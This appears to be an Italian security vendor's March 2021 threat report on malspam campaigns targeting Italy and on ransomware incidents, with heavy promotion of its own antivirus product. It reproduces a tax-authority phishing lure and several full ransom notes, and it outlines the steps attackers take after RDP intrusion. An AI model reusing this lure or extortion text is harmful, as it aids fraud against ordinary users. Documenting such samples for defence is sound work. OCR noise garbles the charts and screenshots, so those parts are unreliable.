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Nel mese di marzo sono ben 11 le tipologie di malware veicolate da campagne di malspam con target
“Italia” (email scritte in lingua italiana).

Nel grafico che segue possiamo vedere 'landamento dei malware distribuiti attraverso il vettore d’in-
fezione della posta elettronica nel mese di marzo.

Tipologia Malspam - 2021-03
Andamento dei malware distribuiti attraverso il vettore d'infezione della

posta elettronica
20 18

14
T 12 12 T

Le campagne per la diffusione di QakBot, in questo mese di marzo, svettano con un +50% rispetto al
numero di campagne dei primi inseguitori. Questo malware, per altro gia analizzato specificatamente
nel TGSoft_Cyber-Tyber-Threat Report 2020-10 (Rubrica IN PRIMO PIANO — QakBot da pag. 4...) & in
grado di rubare credenziali di accesso e svuotare i conti in banca. A marzo le sue campagne sono state
ben 13 in pit rispetto alle 5 di febbraio per un totale di 18.

Al secondo posto, a pari merito con 12 campagne troviamo FormBook (RAT) e LokiBot (Password
Stealer).

Al terzo posto un’altra accoppiata, ne fanno parte AgentTesla (Password Stealer) e il letale Ursnif ca-
pace come sempre di esfiltrare dati dal sistema e arrivare ai conti correnti delle malcapitate vittime, a
marzo ha incrementato le sue campagne mensili da 4 a 11.

Tra le campagne in evidenza ma con numeri sotto la decina troviamo Ave_Maria (RAT) che aumenta le
proprie campagne rispetto a febbraioda3a7y.

Una nota particolare va fatta sulla presenza di ben 5 campagne di malspam riferite al malware IcedID
non presente nelle statistiche del mese precedente e ritornato con risalto a marzo.
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Nel grafico di seguito possiamo vedere 'andamento giornaliero delle campagne di malspam con tar-
get Italia.

Campagne malspam 2021-03

(=T T L= B = B - -]

1 2 3 4 5 & YV &8 9% 10 11 12 13 14 15 17 18 19 20 21 22 253 24 25 26 27 2B 29 30 31

AgentTesla HAve_Maria B FormBook MicediD MLokiBot W MNetwire B QzkBot ERemcos M Sload 0 Snakelogger W Ursnif

Nella rappresentazione mensile delle campagne di malspam FormBook, Ave_Maria, UrSnif e QakBot
sono stati i malware distribuiti pit uniformemente, comparendo almeno una volta a settimana.

Lokibot ha avuto un’importante veicolazione ad inizio mese per poi affievolirsi via via nella parte cen-
trale, non compare infatti in nessuna campagna dal 12 al 23 marzo. Nella parte finale & ricomparso con
3 campagne.

Come per LokiBot anche le campagne di AgentTesla si sono verificate costantemente nella prima meta
del mese di marzo, da meta mese in poi troviamo invece una sola apparizione il giorno 29.

Tra le varie campagne, abbiamo citato quella relativa a IcelD che come da grafico, si & manifestata all’i-
nizio delle due settimane centrali e nella giornata del 26 marzo.

Analizzando il grafico da un punto di vista quantitativo, & sicuramente la prima settimana quella con
pili varianti (25), dal 1 al 4 di marzo si sono verificate almeno 5 campagne giornaliere di cui almeno 3
distinte. Nelle altre settimane le campagne rilevate non sono mai state piu di 16 per un totale mensile
complessivo di 85 campagne con target “Italia”.

E’ possibile consultare le campagne di malspam settimanali del mese di marzo dai seguenti link:

Week 09 ==> dall’ 1 marzo al 7 marzo
Week 10 ==> dall’8 marzo al 14 marzo
Week 11 ==> dal 15 marzo al 21 marzo
Week 12 ==> dal 22 marzo al 28 marzo

Week 13 ==> dal 29 marzo al 31 marzo
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Ursnif

Analizziamo ora le campagne del malware banca-
rio Ursnif (noto anche come Gozi o IFSB) nel mese
di marzo.

Come abbiamo visto, questo malware € uno dei
piu diffusi via email in Italia, a marzo Ursnif e stato
veicolato attraverso 11 campagne di malspam, ben
7 in pil rispetto al mese precedente, assente solo
nella quarta settimana del mese ma ha un ritorno
di fiamma nel finale il 30 marzo con 3 campagne.

Nell’ immagine a fianco possiamo vedere la distri-
buzione delle campagne di Ursnif durante questo
mese con una concentrazione all’ inizio della terza
settimana.

Le principali campagne veicolate hanno sfruttato i
seguenti temi:

= DHL Sollecito di Pagamento (1)

= EnelEnergia - Emissione Bolletta PEC (1)

= INPS (1)

= BRT S.p.A. - Sollecito pagamento fatture (1)
= Agenzia delle Entrate (2)

= Campagne a tema “Ordini” (3)

= Sollecito pagamento a tema “Gestore ener-
gia” (1)

= Campagna a tema “Gestore telefonico” (1)
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Ursnif—Campagne Malspam

02/03/2021 informazione modificazione
utenza telefonica aziendale -
malware distribuito con tema
"Gestore telecomunicazioni"

02/03/2021 Sollecito di pagamento -
malware distribuito con tema
"Gestore energia"

05/03/2021 Informativa del 3_5_ 2021
12/03/2021 Richiesta d'offerta

15/03/2021 Aggiornamento 278837321
(Agenzia Delle Entrate)

16/03/2021 COMUNICAZIONE 546161258
(Agenzia Delle Entrate)

16/03/2021 BRT S.P.A. - Sollecito
pagamento fatture 01503000
(ID8562490) (Agenzia Delle
Entrate)

17/03/2021 Campagna a tema “Ordini”

30/03/2021 Aggiornamento 42113265
(INPS)

30/03/2021 EnelEnergia - Emissione
Bolletta PEC

30/03/2021 DHL Sollecito di Pagamento
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Dall’analisi delle campagne di
malspam e dalle configurazio-
ni individuate all’ interno del
trojan bancario Ursnif utilizza-
to, vi sono due gruppi distinti
che hanno sfruttato questo
malware a marzo per attacca-
re I'utenza italiana. Il primo
gruppo ha veicolato 7 campa-
gne sfruttando, tra gli altri,
anche temi istituzionali (INPS
e AdE), il secondo gruppo ha
veicolato 4 campagne sfrut-
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Gentile contribuente,

dall'esame dei fatti e dei versamenti relativi alla Comunicazione delle liquidazioni periodiche Iva, da voi mostrata per l'ultimo
trimestre 2020, sono emerse alcune incoerenze.

Le informazioni relative alle incoerenze sono disponibili nel documento in allegato o nel "Cassetto fiscale" (sezione L'Agenzia
scrive) e nel servizio "Fatture e Corrispettivi (sezione Consultazione - L'Agenzia scrive),

entrambi accessibili dal sito internet dell'Agenzia delle entrate (www.agenziaentrate gov.it).

Password: gov2021

La presente email ¢ stata figliata automaticamente, pertanto la preghiamo di non rispondere a questo indirizzo di posta elettronica.
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Questi due gruppi cyber risultano essere attivi in Italia da diversi mesi. Nel mese di marzo torniamo ad
osservare, come nei mesi scorsi, il primo gruppo sfruttare temi istituzionali italiani come ad esempio
Agenzia delle Entrate o INPS ed il secondo utilizza come temi ordini o fatture collegati a societa di spe-
dizione come BRT (Bartolini), DHL oppure Enel Energia e/o Enigaseluce. Anche nei casi in cui vi € una
commistione dei temi utilizzati dai due gruppi I’appartenenza a due gruppi distinti & comunque osser-
vabile dalla configurazione rilevata all’ interno del malware utilizzato nelle campagne.

Ursnif &€ un malware bancario che punta a sottrarre denaro dal conto della vittima tramite il furto delle
credenziali di accesso e I'intromissione nei pagamenti home banking attraverso un’injection nel brow-
ser.

Ursnif viene distribuito nelle campagne di malspam attraverso allegati word o excel consegnati diret-
tamente o all’ interno di un file compresso spesso recante una password, I’'utente una volta aperto
I’allegato viene invitato ad abilitare le macro sfruttando come scusa la presenza di problemi di compa-
tibilita nella versione di office, se abilitata la macro presente all’ interno del file word o excel procede
con il download ed installazione del malware nel computer della vittima.

| frequenti cambi nel tipo di allegato utilizzato, oltre a rendere piu difficile per la vittima I’identificazio-
ne della mail fraudolenta, nei casi in cui viene utilizzata una password e/o una compressione sono atti
arendere pit complicata | identificazione dei file malevoli da parte dei software di protezione.
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Ursnif & un trojan bancario, i cui sorgenti essendo divenuti di pubblico dominio, hanno originato un
“fork”, che ha portato allo sviluppo delle seguenti:

= Versione 2; Evoluzione 2021-03

. delle versioni/build di Ursnif 2
= Versione 3.
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187 - * * * * d
186 - - +
185
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179
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176

250186 | 2.50.186 2.50.186 2.50.177 2.50.186 2.50.187 2.50.187 2.50.187 2.50.187 2.50.187 2.50.187

02/03/202102,/03/202105/03/202112,/03/202115/03/202116,/03/202116/03 /202117 /03 /202130/03/202130/03 /202130/03 /2021

In Italia sono circolate, fino ad aprile 2020, entrambe le versioni ma, come negli scorsi mesi, anche a
marzo, e stata rilevata esclusivamente la versione 2.

Nel mese di marzo si osservano due aggiornamenti della build di Ursnif , tutti e due i gruppi hanno uti-
lizzato la versione 2.50.186 nella prima parte del mese per passare alla 2.50.187 dal 16 marzo, solo la
campagna del 12 marzo ha visto riutilizzare la build 2.50.177 come nel mese precedente.

Nel grafico sottostante possiamo vedere come e cambiato I’ ID associato al gruppo dell’ Ursnif relati-
vo alle campagne Inps ed Agenzia delle Entrate.

ID Ursnif campagne 2021-03:
Mod. Servizio Telefonico, Informativa e Agenzia delle Entrate

7257
7256
7255
7254
7253
7252
7251
7250

01/03/2021
02032021
03/03/2021
04/03/2021
05/03/2021
06/03/2021
07/03/2021
08032021
094032021
10/03/2021
11/03/2021
12f03f2021
13f03/2021
14/03/2021
15/03/2021
16/03/2021
17f03f2021
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Ransomware

Nel mese di marzo 2021 si & registrato un consi-
stente incremento degli attacchi Ransomware ri-
spetto al mese di febbraio.

Dalla telemetria del modulo AntiRansomware pro-
tezione CryptoMalware integrato nella suite Vir.IT
eXplorer PRO si sono riscontrati gli attacchi delle
seguenti famiglie di ransomware:

= STOP aka Djvu

= Sodinokibi (REvil)
= Makop
Avaddon
LockBIT
Phobos
Bagui Fobos
ZEPPELIN

eChoraix

Come mi difendo dagli attacchi ransomware?
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| principali attacchi rilevati sono stati veicolati, per
la maggior parte, attraverso I’accesso abusivo al
sistema RDP (Remote Desktop Protocol) di PC/
SERVER esposti incautamente nella rete internet.

Una volta ottenuto I’accesso al sistema via RDP
mediante il brute forcing delle credenziali, il Cy-
berCriminale procede generalmente a:

= RIMUOVERE le protezioni di sicurezza presenti

= CANCELLARE i log di sistema

CANCELLARE le shadow copy di Windows se
attive

— ESEGUIRE il Ransomware.

In attacchi piu sofisticati i CyberCriminali, una vol-
ta ottenuto accesso al sistema, provvedono ad
effettuare una scansione della rete interna per poi
eseguire attivita di spostamento laterale cosi da
attaccare il maggior numero di PC/Server possibili.

La minaccia ransomware & sempre piu sofisticata ed aggressiva, il classico metodo delle firme antivirali

non & completamente efficace per combattere queste tipologie di minacce vista la frequenza di ag-

giornamento e soprattutto la specificita del singolo attacco che spesso € “mirato” alla vittima renden-

dolo maggiormente “univoco”.

E’ fondamentale percio dotarsi di una protezione di tipo Euristico-Comportamentale.

Il modulo AntiRansomware protezione CryptoMalware integrato
nella suite Vir.IT eXplorer PRO include sofisticate tecnologie Euri-
stico-Comportamentali, in grado di effettuare il monitoraggio in
real-time degli accessi ai file del PC/Server rilevando e bloccando la
cifratura dei dati in atto sia da processi eseguiti localmente sia da

accessi avvenuti attraverso le condivisioni di rete.

Queste tecnologie permettono di intervenire velocemente ed effi-
cacemente anche in caso di minacce di nuova generazione o svi-
luppate ad-hoc per la vittima, salvaguardando i dati di PC/Server

Windows(R).
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STOP aka Djvu

Il mese di marzo ha visto il Centro Ricerche Anti-Malware #CRAM di TG Soft Cyber Security Specialist
venire contatto da varie aziende che, loro malgrado, NON essendosi affidate a software AntiVirus che
integrassero specifiche ed efficaci tecnologie AntiRansomware protezione Crypto-Malware essendo
state attaccate ed abbattute dal ransomware STOP aka Djvu erano alla disperata ricerca di un Decrypt.

Purtroppo per loro, queste versioni del ransomware STOP / Djvu utilizzate dai Cyber-Ricattatori non
sembrano avere particolari svarioni che potessero ragionevolmente permettere un tentativo di deci-
fratura e i costi per gli approfondimenti di analisi non sarebbero stati pit economicamente e conve-
nientemente sostenibili per i potenziali interessati.

Siinvita alla consultazione del post Facebook del 1° marzo 2021 di TG Soft Cyber Security Specialist.

Da tutto cio si evince, e lo evidenzieremo ancora meglio nelle conclusioni di questa Rubrica sugli attac-
chi Ransomware con particolare attenzione alla realta italiana, che & di primaria importanza adottare
delle opportune strategie di difesa per #£NONpiangereSULIlatteVERSATO o meglio per
#NONpiangereSULfileCIFRATO e dover necessariamente pagare il riscatto con la speranza di recupe-
rare I’accesso ai propri file aziendali e non.

Sodinokibi (REvil)

Anche a marzo 2021 proseguono gli attacchi mirati da parte dei CyberRicattatori che utilizzano Sodino-
kibi aka REvil.

Ricordiamo che Sodinokibi &€ una “vecchia” conoscenza, scoperto e analizzato dal Centro Ricerche An-
ti-Malware di TG Soft nel 2018 e citato, quale sostituto di un altro ransomware particolarmente ap-
prezzato dai Cyber-Ricattatori il non meno famoso GandCrab, anche da BleepingComputer nel suo re-
soconto mondiale sui ransomware piu diffusi a livello planetario nel giugno 2019.

Uno dei principali attacchi che il #CentroRicercheAntiMalware {#CRAM} di #TGSoft & stato chiamato
ad analizzare € avvenuto via #RDP Remote Dekstop Protocol con attaccante che, dall’IP rilevato, sem-
bra si sia collegato dalla Russia... non proprio con “amore” ma con intenti di ben altra natura...

Importanti le somme di riscatto richieste per la decifratu-

ra dei file:

= poco piu di 109 XMR {Monero} che al cambio odierno
corrispondono a circa 25mila U$D o 21mila €uro se pa- =l5lF 16
gato entro i primi 7gg... e P i Sl et

encrypted -Decryptor much time

= il riscatto poi raddoppia passando a quasi 220 XMR

{Monero}... Che, al cambio odierno, equivalgono a ~Decryptor price
Som”a U$D o 42mi|a €uro...! You have 6 days, 23:59:03 Current price 109.88525 XMR
*If you do not pay on time, the price will be doubled 28 U00LED
. .. . I e *Time ends on Mar 9. 13:08: After ti d 219.7705
Per maggiori info su come difendersi & possibile consul- TR S “sopun o

Monero address: 885 Ld “ XMR will be recalulated in 5 hours with an actual rate.

tare I'informativa sintetica del 02/03/2021

INSTRUCTIONS. CHAT SUPPORT ABOUT US
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Makop

Il CyberRicattatore, una volta ottenuto I'accesso via RDP esposto su macchina client Windows10 scari-
cava ben 41 sample differenti di #Makop in una cartella di "appoggio" e iniziava a mandarli in esecuzio-
ne per procedere alla cifratura del PC... “Human-operated ransomware attacks”.

Fortunatamente sulla macchina era correttamente installato, configurato ed aggiornato
#VirlTeXplorerPRO che parava efficacemente |'attacco!

Risultato dell'attacco 8 file cifrati di cui 7 file esca... #Ransomware MAKOP bloccato efficacemente nel-
la fase iniziale dell'attacco dalle tecnologie Euristico-Comportamentali AntiRansomware protezione
Crytpo-Malware integrate nella suite Vir.IT eXplorer PRO...

Struttura dei file cifrati:
NOME_ORIGINALE.ESTENSIONE_ORIGINALE.[ID_ALFANUMERICO].[email_cybercriminale].makop
Nome file del riscatto: readme-warning.txt

Per conoscere I'importo del RISCATTO se |'attacco fosse andato a ""buon" fine si € voluto contattare il/i
Ricattatore/i scrivendo alla mail di contatto segnalata.

La prima frase della risposta & stata "Please turn off your remote access or change all the passwords
of your administrators and users to stronger ones."

= riscatto richiesto & 7.000 U$D da pagare in BTC (0.11 BTC) pari a circa 5880,00 €uro;

= il wallet indicato per il pagamento ha 61 transazioni totali (36 in ingresso e 25 in uscita). Il totale
ricevuto (transazioni in ingresso) e di 1.64101720 BTC pari a circa 86.434 €uro e un totale inviato
(transazioni in uscita) di 1.60454677 BTC pari a circa 84.513,00 €uro

Quindi pit di qualcuno ha ceduto al RICATTO procedendo al pagamento...

A destra l,immagine readme-warning.txt - Blocco note di Windows - o %
. . . .. File Modifica Formate Visualizza 7

delle istruzioni diri- [k srectings :::

scatto del ran- Little Fao:

1.

Q: whats Happen?

SomWare Makop Che A: Your files have been encrypted and now have the “makop™ extension. The file structure was not damaged, we did everything possible so that
this could not happen.

e stato utilizzato per

M

Q: How to recover files?
A: If you wish to decrypt your files you will need to pay in bitcoins.

alcuni attacchi trami-

.3
. Q: what about guarantees?

te accessli RDP Su A: Its just a business. We absclutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities -

nobody will cooperate with us. Its not in our interests.
. To check the ability of returning files, you can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!) and low
DESktOp Remoti sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.
H -4,

eSpOStI. Q: How te contact with you?

A: You can write us to our mailbox: @

5.

Q: How will the decryption process proceed after payment?

A: After payment we will send to you cur scanner-decoder program and detailed instructions feor use. With this program you will be able to
decrypt all your encrypted files.

.B.

Q: If I don’t want to pay bad people like you?

A: If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause only we have the
private key. In practice - time is much more valuable than money.

:::BEWARE:::

DON'T try to change encrypted files by yourself!

If you will try to use any third party software for restoring your data or antivirus sclutions - please make a backup for all encrypted files!
Any changes in encrypted files may entail damage of the private key and, as result, the loss all data.

Linea 1, colonna 1 B0% Windows (CRLF) ANSI
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Avaddon

Dopo alcuni attacchi del ransomware AVADDON in italia gia segnalate dal Centro Ricerche Anti-
Malware [#CRAM] di #TGSoft Cyber Security Specialist & #ThreatIntelligence team nei seguenti report:

= Report settimanale 2020W26 (27/06-03/07 2K21) delle principali campagne Malspam in Italia;

= TGSoft_Cyber-Threat Report 2020-06 di giugno 2020 nella sezione "In primo piano" Ransomware

AVADDON a pagina 4 e seguenti dove sono segnalate le principali campagne Malspam con target

Italia che lo ha visto diffondersi;

in questo mese di marzo 2021 abbiamo nuovi attacchi mirati che utilizzano questo ransomware.

Questa volta "attacco di AVADDON ¢ avvenuto via
RDP su una macchina NON protetta, mentre nelle mac-

chine dove era installata la Suite Vir.IT eXplorer PRO &
intervenuta la protezione AntiRansomware nei file “\

condivisi, con rilevazione dell'attacco "passivo/

esterno" avvenuto attraverso la rete => Tecnologia RANS"MWARE

aggiuntiva inclusa nel modulo AntiRansomware prote-

zione CryptoMalware cherileva la cifratura anche se il
processo malevolo non & avviato localmente nella macchina => Tecnologia dell'AntiCrypto che non

tutti i prodotti hanno.
Ai file cifrati viene aggiunta |'estensione ".bDEACee".

Il riscatto richiesto € di 2000 U$D e va pagato in Monero: equivale a 5,04 XMR.
T |

€« c e % QO &

Avaddon

2000 USD

2:23:56:40

If you don't pay before the time runs out, the price will be doubled!

If you don't cooperate with us, your documents, photos, databases and other important files will be
published at our blog -
Where they will be freely available and anyone can watch them absolutely free. What will entail the loss of
clients, money and lawsuits.
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LockBit

Tra le varie richieste di intervento su attacchi ransomware, nel mese di marzo 2021 il Centro Ricerche
Anti-Malware [#CRAM di #TGSoft] & stato chiamato ad effettuare ’analisi di #IncidentResponse [#IR]
in un’azienda di oltre 300 computer che ha visto LockBit prima insinuarsi nell’azienda di supporto si-
stemistico e, come rilevato dal loro sito, naturalmente, anche di “sicurezza’” informatica e altre 1001

attivita...
r =

Questa azienda “esperta” di Cyber- Y 0 U R F I L E s

Security accedeva alla manutenzione dei

PC del cliente attraverso un accesso privile- AR E E N C RYP T E D
giato e diretto “protetto’” da una VPN pro-

prio al cuore della rete aziendale. Il ran-

somware LockBit prima ha cifrato i PC/ L BY L 0 C K BIT

Server dell’azienda informatica fornitrice

anche di Servizi di Cyber-Security e poi, per il tramite della VPN, attraverso il cosiddetto ‘“spostamento
laterale”, come fosse uno scivolo privilegiato per insinuarsi nella rete del loro cliente e abbatterla sen-

za pieta non avendo un software AV con tecnologie AntiRansomware protezione Crypto-malware in
grado di contrastare efficacemente questo attacco.

Risultato: rete di oltre 300 PC/Server ABBATTUTA, piu di una settimana per ripristinarne la funziona-
lita... Da cui 'importanza di investire su software AntiVirus che integrino tecnologie AntiRansomware
protezione Crypto-Malware efficaci ed efficienti che negli anni abbiano dimostrato la loro affidabilita...

Un altro attacco significativo di LockBit & stato TENTATO, sempre nel marzo 2021 su un’azienda che,
purtroppo, NON aveva in uso su tutti i PC & Server (scelta assolutamente incondivisibile ed imperdo-
nabile), la suite Vir.IT eXplorer PRO che, & bene ricordarlo, integra tecnologie AntiRansomware prote-
zione Crypto-Malware efficaci ed efficienti e di consolidata affidabilita verificata negli anni con numero-
sissime famiglie/tipologie di ransomware dando, sempre e comunque, ottimi risultati in termini di miti-
gazione degli attacchi.

Anche in questo caso si tratta di attacco “passivo/esterno” legato a macchina NON protetta dalle no-
stre tecnologie NON essendo presente la suite #VirlTeXplorerPRO.

Ha colpito alcune condivisioni di altri PC che erano state -MALDESTRAMENTE- escluse dal controllo
(condiviso tutto il disco C: cosa che non dovrebbe MAI essere effettuata, ma al pil, procedere alla con-
divisione di qualche cartella per lo scambio file o poco pit...). In questo caso sebbene I’azienda non
fosse protetta, come avrebbe dovuto, su tuttii PC/ Server quelli, ove presente la suite Vir.IT eXplorer
PRO ed attive le tecnologie di mitigazione degli attacchi di cifratura AntiRansomware protezione Cryt-
po-Malware sono state salvaguardate dalla cifratura.

Al termine della cifratura completa nella macchina visualizzera a tutto schermo un messaggio similare
a quello dei file di testo dei riscatti.
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Ai file cifrati viene aggiunta |'estensione ".lockbit" da cui il nome...

LockBit

1
ALL YOURRELGAWINEINISIARE ENCRYPTED!

Any attempts to restore your files with the thrid-party software will be fatal for your files!

Restore you data posible only buying private key from us.

There is only one way to get your files back:
Through a standard browser
& o1. @ FireFox@® Chrome® EdgeO Opera

+ ©Open link - http Mockbit-decryptor top/? , Lockbit-decryptor.com may be blocked. We recommend using a Tor
browser to access the site
+ Follow the instructions on this page + Do not rename encrypted files.

Do not try to decrypt using third party software. it may cause
permanent data loss.

Decrypfion of your files with the help of third parties may cause
Through a @ Tor Browser - recommended increased price (they add their fee to our).
Tor Browser may be blocked in your country or corporate network. Use

. - .
+ Download Tor Browser - hitps:/fwww torproject org/ and Install it. hitps-//bridges torproject.org or use Tor Browser over VPN,
@ o2. -y e IR Ve EEEEr <[ Qnion/? + Tor Browser user manual hitps:/tb-manual.torproject org/about

This link only works in Tor Browserl
+ Follow the instructions on this page

Il ransomware LockBit al termine della cifratura dei PC/Server rilascia, all’interno delle cartelle colpite,
un file di testo ‘“Restore-My-Files.txt”

| Restore-My-Files.bxt - Notepad = @] =]

File Edit Format View Help
A1l your important files are encrypted! -

artempts to restore your files with the thrid-party software will be fatal for your files!
RESTORE YOU DATA POSIBLE ONLY BUYING private key from us.
There is only one way to get your files back:

1) Through a standard browser (FireFox, Chrome, Edge, opera)
| 1. open link http://lockbit-decryptor.top/?
| 2. Follow the instructions on this page

2) Through a Tor Browser - recommended
| 1. pownload Tor browser - https://www,.torproiect.org/ and install it.
| 2. open link in TOR browser - http:// . onion/7%
This Tink only works in Tor BrowSer:
| 3. Follow the instructions on this page

##4  Attention! #2#

lockbit-decryptor. top may be blocked. we recommend using a Tor browser to access the site

Do not rename encrypted Tiles. )

Do not Try to decrygt using third party software, it may cause permanent data loss. )

pecryption of your files with the help of third parties may cause increased price(they add their fee to our).

Tor Browser may be blocked in your country or corporate network. Use https://bridges.Torproject.org or use Tor Browser over VPN.
Tor Browser user manual hrtps://tb-manual.torproject.org/about

A e e e e e

Non & superfluo segnalare che LockBit € un ransomware che puo eseguire anche attacchi DOUBLE EX-
TORTION cioé con esfiltrazione di tutti o parte dei dati aziendali che vengono usati, quale forma ulte-
riore di minaccia di renderli pubblici, per forzare il pagamento del riscatto nel caso I’azienda fosse in
grado di effettuare il ripristino dei dati cifrati.
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Phobos

Il ransomware Phobos e decisamente molto apprezzato dai Cyber-Ricattatori che lo utilizzano, con
una certa frequenza, sia per attacchi diffusi come anche per attacchi mirati. Ricordiamo che Phobos ¢
il successore del temibilissimo Dharma...

Tra i vari attacchi che il Centro Ricerche Anti-Malware #CRAM di TG Soft Cyber Security Specialist € sta-
to chiamato a dare supporto emergenziale o ad effettuare attivita consulenziale di Incident Response
[#IR] segnaliamo il seguente attacco che & avvenuto con accesso via Remote Desktop Protocol [#RDP]
da indirizzi IP che sono stati localizzati in Canada e in Russia.

L’attacco ¢ del tipo “Cyber Human Operated Ransomware Attacks” che & tipicamente uno dei pit in-
sidiosi poiché essendoci collegamento umano il Cyber-Ricattatore tentera la disinstallazione dell' Anti-
virus e utilizzera tool per il furto di Password come il #CRAM stesso ha rilevato in questo attacco.

Il ransomware effettua persistenza posizionandosi nella cartella di startup.

1
i
f

Genera 2 ﬁle di riscatto. 18 ALL YOUR FILES ARE ENCRYPTED ILTXT - Notepad

File Edt Format View Help
'T! ALL YOUR FILES ARE ENCRYPTED !!!

A1l your files, documents, photos, databases and other important files are encrypted.

= lnfO.hta You are not able to decrypt it by yourself! The only method of recovering files is to purchase an umique private
35 y we can give you this key and only we can recover your files.
. To be sure we have the decryptor and it works you can send an email: @ .com and decrypt one file
= lnfO.tXt Eo% EMS File should be of not valuable!
Do you really want to restore your files?
. . .. . . write to email: @ . con
con indicati i contatti email. Reserved email: e me

vour personal ID:

Attention!

“ Do not rename encrypted files.

“ Do not try to dz(rygt your data us\r? third party software, it may cause permanent data loss.

* pecryption of your Files with the help of third parties may cause increased price (they add their fee ta our)
or you can become a victim of a scam.

| file cifrati hanno la seguente struttura:

nome_file.estensione_file.id[Codice_AlfaNumerico].e-mail[da contattare].eight

encrypted

o
All your files have been encrypted!

All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail
- —— -
Write this ID in the title of your message -
In case of no answer in 24 hours write us to this e-mail: S s e
You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we wil send you the tool that wil decrypt all your fies.

Free decryption as guarantee
Before paying you can send us up to 5 files for free decryption. The total size of files must be less than 4Mb (non archived), and files should not contain
valuable information. (databases,backups, large excel sheets, etc.)

How to obtain Bitcoins
The easiest way to buy bitcoins is LocalBitcoins site. You have to register, dlick '‘Buy bitcoins', and select the seler by payment method and price.
https://localbitcoins.com/buy bitcoins
Also you can find other places to buy Bitcoins and beginners guide here:
http://vaww. coindesk.com/information/how-can-i-buy-bitcoins/

Attention!
« Do not rename encrypted fles.
« Do not try to decrypt your data using third party software, it may cause permanent data loss.
« Decryption of your fles with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.
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Bagui Fobos
L'attacco ha colpito solo 2 file che sono i dischi virtuali di una macchina virtuale Hyper-V.

Il ransomware, dopo aver cifrato i file, “appende” dopo il nome del file e la sua estensione un indirizzo
email che permettera alla malcapitata vittima di contattare il CyberCriminale per avere info sulle mo-
dalita e costi di pagamento del riscatto.

| file dopo I’attacco hanno la seguente struttura: nome_file.estensione_file.e-mail da contattare

Ai file cifrati viene aggiunta, come ulteriore estensione al nome del file originario che & direttamente la
mail ".bfobos@bk.ru" per poter mettersi in contatto con i CyberRicattatori e ricevere le istruzioni per
il pagamento del riscatto e il -quantum-.

Zeppelin

Facendo sempre e comunque riferimento ad attacchi Ransomware che hanno visto il supporto consu-
lenziale del Centro Ricerche Anti-Malware #CRAM di TG Soft in questo mese segnaliamo I’attacco che
ha visto 'utilizzo del ransomware ZEPPELIN che ¢ stato scaricato come malware di Follow-up su una
macchina precedentemente compromessa con Dridex noto Trojan Banker e Password Stealer in circo-
lazione, oramai, da parecchi anni.

Nel caso dei ransomware la pratica del "Follow-up" non & pit molto diffusa nell'ultimo periodo ma,
evidentemente, ancora resiste in casi piu isolati. Questa modalita di diffusione/attacco & calata parec-
chio soprattutto da quando e stata smantellata la botnet Emotet che scaricava TrickBot e successiva-
mente vari ransomware come il Ryuk.

Nel caso di questo attacco le tecnologie Euristico-comportamentali AntiRansomware protezione Cryp-
to-Malware integrate nella suite #VirlTeXplorerPRO sono scattate immediatamente bloccando la cifra-
tura dopo soli 4 file (tra I’altro del cestino...).

La struttura del file cifrato & NOME_FILE_ORIGINALE.ESTENSIONE_ORIGINALE.[ID_AlfaNumerico]
Di seguito lo screenshot del file di riscatto che viene salvato con questo nome:

"' ALL YOUR FILES ARE ENCRYPTED !!'.TXT

1 ALL YOUR FILES ARE ENCRYPTED ILTXT - Notepad = | =]
File Edit Format View Help
|!!' ALL YOUR FILES ARE ENCRYPTED '!!

a1l your files, documents, photos, databases and other important files are encrypted.

You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private
key.
only we can give you this key and only we can recover your files,

]

;o bg sure we have the decryptor and it works you can send an email:
ar free.
But this file should be of not wvaluable!

.com and decrypt one file

Do you really want To restore your files?

write to email: @ . com

rReserved email: N .me

Your personal ID:

Attention!

* Do not rename encrypted files.

* Do MOt Try to decrygl your data us'ir\? third party software, it may cause permanent data loss.
il help

* pecryption of your es with the of third parties may cause increased price (they add their fee to our)
or you can become a victim of a scam.
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eChOraix

Per quanto riguarda il ransomware eChoraix invece si tratta di un altro tipo di attacco che ha colpito i
NAS QNap. Per attaccare questo tipo di dispostivi infatti vengono usate delle vulnerabilita presenti nel
software del NAS o un attacco brute force delle password, dopo aver avuto accesso al dispositivo i
CyberCriminali procedono alla cifratura dei dati presenti e, naturalmente, alla richiesta di riscatto.

[l ransomware colpisce in maniera diretta i NAS QNAP con firmware vulnerabile ed esposti ad internet.

In generale eChoraix colpisce QNAP da parecchio tempo, infatti, QNAP stessa gia a partire dal 2019
aveva indicato delle informative di security advisory sul tema degli attacchi ransomware riguardo alle
vulnerabilita scoperte nella funzione Photo Station e altre sempre riguardanti QTS (il sistema operati-
vo di QNAP):

= novembre 2019: vulnerabilita di QTS nella funzione Photo Station LINK all'advisory diffusa da QNAP
=> https://www.gnap.com/en/security-advisory/nas-201911-25

= giugno 2020: altre vulnerabilita rilevate nel S.O. proprietario QTS utilizzato nei NAS QNAP
=> https://www.gnap.com/it-it/security-advisory/qsa-20-02

Non si puo escludere che vengano sfruttate pero anche vulnerabilita pitu recenti per accedere abusiva-
mente ai NAS.

Al file cifrati verra appesa I'estensione ".encrypt", avranno quindi la seguente struttura:

NOME_FILE_ORIGINALE.ESTENSIONE_ORIGINALE.encrypt

Viene lasciato il file con le istruzioni del riscatto dove é indicato il link al sito nel DarkWeb
(READM E_FOR_DECRYPT.txt).

README_FOR_DECRYPT.Rv1 - Blaion note o Windows - O ko
File dcdifics Formato  Wicwslcra 1
All your data has been locked(crypted).
How to unlock{decrypt) instructien located in this TOR website:
http://s ' sh 4. onion

Use TOR browser for access .onion websites.
https://duckduckgo.com/html?g=tor+browser+how+to

La richiesta di riscatto, da pagare in BitCoin, & di 0.024 BTC che equivalgono a circa 1115 €.

Il wallet, purtroppo, essendo univoco per ogni vittima, non ci permette di avere una stima degli incassi
ottenuti dai CyberRicattatori.
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Nel caso dove il riscatto e stato infine pagato, il suo importo & stato rimosso per intero dal wallet 3
giorni dopo il pagamento.

= Sito nel DarkWeb dove viene indicato I'importo ed il wallet per il pagamento del riscatto. Nel caso
specifico al momento della redazione di questo articolo il costo € di 0.024 BitCoin che convertiti &
di circa 1000 €uro:

eChOraix order page b I = “
